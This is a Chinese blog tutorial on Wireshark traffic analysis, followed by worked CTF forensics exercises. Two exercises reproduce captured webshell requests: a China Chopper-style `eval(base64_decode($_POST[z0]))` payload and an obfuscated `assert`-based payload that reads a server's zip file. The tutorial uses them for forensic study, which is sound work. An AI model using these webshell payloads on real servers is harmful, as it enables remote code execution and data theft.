流量分析基础
计算机网络基础
- 这个只是简单的介绍,默认有计算机网络的基础。
常用协议
- 应用层:
- HTTP协议:超文本传输协议,最经常使用的协议
- HTTPS协议:密文传输协议,抓包一般会抓到TLS的流量包,这时被加密的数据
- DNS域名解析协议:将域名转化为对应ip
- DHCP协议:自动分配IP地址的协议
- FTP协议:客户端和宿主机文件传输协议
- TFTP协议:简单文件传输协议,一般用于IOT设备,这个协议偏向底层硬件。
- SMTP协议:邮件传输协议,主要就是传输文件
- Telnet协议:远程终端协议,主要是远程登录和远程管理
- Modbus协议:工业控制协议,通用的工业通信协议
- ssh协议:通常用于远程连接
- 传输层:
- TCP协议:
- UDP协议
- 网络层:
- IP协议:
- ICMP协议:
- IGMP协议:
- OSPF协议:
- 数据链路层:
- ARP协议:
协议常见端口
- 端口这个概念主要是在传输层和应用层之间通信的一个抽象概念。所以只有在应用层上的协议采用端口这个概念。
HTTP协议:80端口
HTTPS协议:443端口
DNS域名解析协议:53端口
DHCP协议:67、68端口
FTP协议:20/21端口
TFTP协议:69端口
SMTP协议:25端口,SSL加密端口为465端口
Telnet协议:23端口
Modbus协议:502端口
SSH协议:22端口
mysql协议或者服务:3306端口
wireshark使用
- wireshark是一个底层的抓包软件,还有一些抓包软件:如
fiddler
、mitmdump
这两个抓包软件 wireshark
这个软件与burp
软件的功能还是差别很大的,burp
是专门抓http
包的,并且一些功能也是对http
包开发的,比如爆破之类的。
过滤
-
由于流量包很多,所以我们在看流量包的时候就必须要使用过滤的命令,从而快速找到相对应的流量包。
-
基于IP地址过滤:
- 筛选源ip为xx的包:
ip.src==xxx.xxx.xxx.xxx
- 筛选目标ip为xx的包:
ip.dst==xxx.xxx.xxx.xxx
- 筛选ip为xx的包:
ip.addr==xxx.xxx.xxx.xxx
- 筛选源ip为xx的包:
-
基于MAC地址过滤:过滤的mac地址书写方法使用
windows
的mac地址的写法- 筛选mac地址为xx的包:
eth.src==xx-xx-xx-xx
- 筛选目标mac为xx的包:
eth.dst=xx-xx-xx-xx
- 筛选mac为xx的包:
eth.addr=xx-xx-xx-xx
- 筛选mac地址为xx的包:
-
基于端口号过滤:端口号用于流量包是从什么应用发出来的,如果端口是通过
UDP
协议的就将tcp
换成udp
- 过滤源端口为4694的包:
tcp.srcport==4694
- 过滤tcp端口为4694的包:
tcp.port==4694
- 过滤目的tcp端口为4694的包:
tcp.dstport==4694
- 过滤源端口为4694的包:
-
基于协议过滤:
- 只看arp协议:
arp
- 只看dhcp:
dhcp
- 只看https:
https
- 只看arp协议:
-
组合过滤:
- and组合,dhcp包并且只想看某台电脑的包:
dhcp and eth.src==xx-xx-xx-xx
- or组合,dhcp包或者arp包:
dhcp or arp
!(非)
:不想看某个协议的包
- and组合,dhcp包并且只想看某台电脑的包:
-
其他过滤:
- 过滤域名:
http.port=="www.baidu.com"
,只看含义www.baidu.com
的HTTP
流量包
- 过滤域名:
其他实用功能
记录出现IP、MAC、端口
- 这个功能可以让我们快速知道这个流量包中到底有多少个
IP
地址,这样我们就不用一个一个在流量包中翻找。 - 这个功能的具体位置如下
- 打开后我们就可以看到如下界面,这时我们很快就可以确定哪些地址是作为客户端的地址,哪些地址是作为服务器的地址。
- 这里如果选择
TCP
、UDP
就可以看到开放的端口
协议分级
- 这个功能可以帮助我们统计出各层流量包的占比,我们在进行流量分析的时候可以有一个总体的把握:
- 电脑接收什么协议的流量包,这些流量包的占比
- 从流量包中,我们可以初步确定电脑开启了什么服务
- 还可以从流量包中可以把握,黑客网络的什么层面进行攻击
- 接下来我们就来详细查看一下这个协议分级的界面,从这里我们就可以从总体上把握黑客攻击的一些情况:
- 出现了
MySQL
协议,我们就会想到攻击者可能动了数据库,或者攻击者进行了sql
注入漏洞的利用 - 出现
HTTP
协议或者HTTPS
协议比较多,攻击者可能就是利用网页漏洞进行攻击。 - 出现
SSH
协议就表示电脑可能有被远程连接过,或者尝试远程连接 - 出现
FTP
协议就表示可能有文件进行传输等(HTTPS、HTTP协议也能进行文件传输) - 出现
SMTP
协议就表面有可能有邮件传输 - 所以对应的协议和端口需要记下来,这样做流量分析的时候才能快速反应
- 这里出现了分组分组占比和字节占比
- 出现了
追踪流功能
追踪流
的功能只有在对UDP
、TCP
协议或者更上层的协议分析的时候具有的功能,因为在这层或者这层之上才出现会话
和流
的概念- 在网络传输中,网络封装的包是有大小的限制的
- 所以我们发送一个数据或者是下载一个应用,就需要将这个应用,拆成非常多个流量包,传送到目的主机中才整合起来
- 或者我们一个发送的数据包太小,可能会多个数据包整合成一个数据包进行发送。
- 对于一个数据分多个包发送,到达目的主机时间不同,我们手动分析的话就比较困难,所以就有了追踪流功能
- 使用这个功能后,会打开一个界面,这个界面如下图所示(这是另一个例子):
- 这里注意,一个完整的数据相当于一个流,比如我们下载了一个
zip
压缩包,并且我们现在追踪的就是这个流,所以这个流0
出现的数据就是整个压缩包的二进制数据,而流1
就是其他的数据了 - 另存为就会将这整个数据(包括协议的内容)保存到文件中,文件后缀可以自己定义
- 这个功能在对分析攻击者文件上传或者是下载的数据效率非常的高
- 注意:提取下载文件的时候不需要提取整个对话,只要提取发送文件的到目标主机这个对话即可
- 注意:有些时候遇到特殊字符,我们就需要使用
16进制
来显示数据
- 这里注意,一个完整的数据相当于一个流,比如我们下载了一个
搜索关键字符串
- 该功能不会自动显示在
wireshark
这个界面中,要点击这个放大镜按钮,才会显示,这个功能就相当于搜索 - 就输入关键字符串,就会跳转到相应的包中,查看具体内容,有的时候很好用
- 这里的搜索功能还可以使用其他的搜索语法,其他的搜索语法如下:
导出对象
- 使用
wireshark
这个导出对象的功能会更方便导出一些流量中的网页等。不会像追踪流保持数据保存时会把头数据给保存了。 - 功能面板如下的位置如下图所示:
- 这边我们就来导出一个
HTTP
协议的数据包内容,查看文件内容发现这个.php
文件中的内容是一个base64
编码,解码后是一张图片。
提取流量包
- 有的时候一个流量文件中有非常多的流量包,这时我们需要对这个流量文件进行分组,可以按照协议分组也可以按照
ip
分组,这时我们就可以分组,然后将这些组导出成一个新的流量包,这时我们在这个流量包中就会更方便分析特定的流量包。更有利于分析。
练习
题目1_扫描流量检测
- 题目描述:
入侵者通过
ping
工具对局域网内一主机进行存活性扫描,flag 为入侵所发送的16
字节的数据包内容。
- 这里我们要知道
ping
工具使用的流量包协议为ICMP
协议,所以我们打开流量包,只需要过滤出ICMP
协议即可。、 - 这时就会看到
5
个ICMP
流量包
- 这时我们查看包中具体发送的内容,看到
Data
这个字段,就得到发送的数据
- 所以我们就提取出十六进制数转为字符串即可得到flag
1 | 2122232425262728292a2b2c2d2e2f30 |
题目2_关键字符提取
- 题目描述:
请找到流量包中的
flag
,格式为:nctf{}
- 先打开流量包,然后直接搜索
nctf
即可得到对应flag
- flag为:
1 | nctf{wireshark_is_easy} |
题目3_特殊字符提取
- 题目描述:
请找到密码,组合为
flag
,格式为:flag{密码}
- 打开流量包,先查看包的统计情况:发现全是
tcp
流
- 这里我们就使用追踪流的功能:发现只有流
0
,这时我们可以看到流0
中有如password
,那是否password
的值就是backdoor...00Rm8.ate
呢?
password
的值其实并不是backdoor...00Rm8.ate
,在wireshark
中...
可能表示不可显字符串,所以一但字符中出现这个,我们就需要先使用十六进制的形式
去查看,然后找到对应的ASCII
码。
- 这时我们看到
.
实际的十六进制为7f
,这时我们就对这ASCII码
值发现是DEL
字符,表示删除键,所以backdoor...00Rm8.ate
这边会被删除掉几个字符,0d
就表示回车字符
- 所以
密码
为:backdoorm8te
:
1 | flag{backdoorm8te} |
注意:我们Del
键是删除后面的字符串,就像这样
1 | abcdefgh |
题目4_提取压缩包
- 题目描述:
key
为文本格式,你找得到吗?
- 打开流量包,先查看流量统计,发现只存在
TCP
协议,但是没有HTTP
协议
- 这时我们就直接追踪流。发现这个流量包中一共有
3
个流,我们在流1
中发现了key: ZipYourMouth
,这个很可能是压缩包的密码
- 接下来我们再查看其他流,我们在流
0
中看到了这个PK
然后一堆乱码,这时我们就会想到zip
压缩包的文件头就是PK
开头,所以这就相当于一个zip
包,并且还有一个flag.txt
的文件
- 之后我们就将这个
zip
包进行保存,注意这里是纯TCP流,并没有应用层的协议,所以使用不了导出对象,只能在追踪流那边点击保存,这时我们就选择单向发包
的这个,还有一点就是要将这个流显示为原始数据,这样将这个另存为xx.zip
的时候,才会存储原始数据
- 这时我们尝试使用
360zip
把这个压缩包打开。发现文件没有出错,并且要求输入密码,
- 这时我们就直接输入密码再解压缩就可以得到对应的flag了
1 | Flag-qscet5234diQ |
题目5_文件提取1
-
题目描述:无
-
打开这个流量包,发现就
4
个流,从流0
到流3
,我们逐个追踪流,发现流1
这边执行了类似ls
的命令,说明可以远程执行命令,这时已经拿到shell
了。 -
然后我我们看看流
0
,就会发现用户发给服务器的数据中,可能含有webshell
- 我们还注意到这个程序访问了
isg.php
,我们看看能不能把这个文件使用导出对象
提取出来,发现可以,提取内容如下,与上图的发送数据一致
- 这时我们就要来分析这个
webshell
具体执行的是什么,我们将这个webshell
使用URL
解码可以得到这样:
1 | ISG2014=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw== |
- 整理可以得到,相当于命令执行
1 | eval(base64_decode($_POST[z0]));& |
- 而
z0
经过base64
解码之后就会出现如下,这个估计就相当于webshell
:
1 | @ini_set("display_errors","0"); |
- 然后继续翻找流
2
,发现是命令执行
- 之后我们看流
3
,这时我们发现了一个压缩包
- 这时我们不能使用导出对象了,我们还是按照题目4中提取压缩包的方法来。提取的是服务器发送给客户机的。
- 下载下来后可以正常解压缩,这样我们解压缩后就会找到
flag
:
1 | ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11} |
题目6_文件提取2
-
题目描述:无
-
打卡流量包后,注意到流量包有点多,就先查看一下流量统计,发现有
FTP
文件,这时就会想到流量中可能可以导出文件。
- 这时我们直接导出对象,发现可以导出
hehehe.rar
,导出后的压缩包可以正常打开,但是需要密码才能解压
- 这时我们就继续去寻找一下流量包中是否有密码,这时我们在流
5
中找到了这个密码0rvWprrs0NOz9se9wLQ=
,现在先来尝试base64
解码,发现是乱码
- 在翻找的过程中我们还发现了流
4
中有发送一个png
图片,经典png头,导出的png图片没啥作用
- 接下来我们猜想前面的
base64
是gpk
编码的base64
,发现确实是gbk
编码
1 | import base64 |
- 看wp发现密码能解的开,但是我这边密码解不开QAQ,这里就直接贴
wp
了,解压之后就是修复png
文件头,这样就可以打开图片得到flag了
题目7_导出对象1
-
题目名称:流量中的线索.pcapng
-
题目描述:无
-
打开流量包,就先查看统计分析的包,发现
http
协议数据最多
- 这时我们就追踪一下流,发现有访问一个文件
fenxi.php
- 然后就直接看看能不能提取对象:
- 发现可以,就将
fenxi.php
文件提取出来,打开发现是非常大一串的编码,猜测是图片进行了base64
编码
- 这时我们就
base64
解码成图片看看,发现确实是这样的,并且flag在图片中。
题目8_导出对象2*
-
题目名称:Misc-我抓到你了
-
题目描述:无
-
打开包,继续查看统计,发现还是
http
协议这边字节占比最大
- 这里就直接追踪http流,发现流
0
中,用户就发送了一个数据给服务器,并且访问的是1.php
这个文件,这个应该是一个webshell
文件。
- 我们分析发送的这一串数据,不知道怎么去除,不知道这个是什么,没怎么学web,应该是
PHP的RCE
这边
1 | a=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9Ii92YXIvd3d3L2ZsYWcuemlwIjskZnA9QGZvcGVuKCRGLCdyJyk7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oJ0VSUk9SOi8vIENhbiBOb3QgUmVhZCcpO307ZWNobygiWEBZIik7ZGllKCk7'));\");")); |
题目9_导出对象3*
- 题目名:fly.pcapng
- 题目描述:无
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 iyheart的博客!